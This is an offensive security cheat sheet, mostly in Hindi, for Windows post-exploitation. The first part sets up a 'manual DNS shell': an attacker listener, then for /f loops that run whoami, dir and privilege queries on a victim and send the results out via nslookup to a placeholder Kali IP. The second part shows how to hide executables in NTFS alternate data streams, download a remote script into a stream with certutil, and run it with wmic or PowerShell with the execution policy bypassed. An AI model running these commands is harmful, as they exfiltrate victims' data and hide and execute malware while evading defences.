मैनुअल DNS शेल

हमलावर (Kali) को इनमें से एक 2 विकल्पों में से एक का उपयोग करना चाहिए:

sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive

Victim

for /f tokens तकनीक: यह हमें कमांड्स को निष्पादित करने, प्रत्येक पंक्ति के पहले X शब्दों को प्राप्त करने और इसे DNS के माध्यम से हमारे सर्वर पर भेजने की अनुमति देती है।

for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one

आप आउटपुट को भी redirect कर सकते हैं, और फिर इसे read कर सकते हैं।

whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>

## Selected Examples of ADS Operations ##

### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt

### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>

### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe

### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
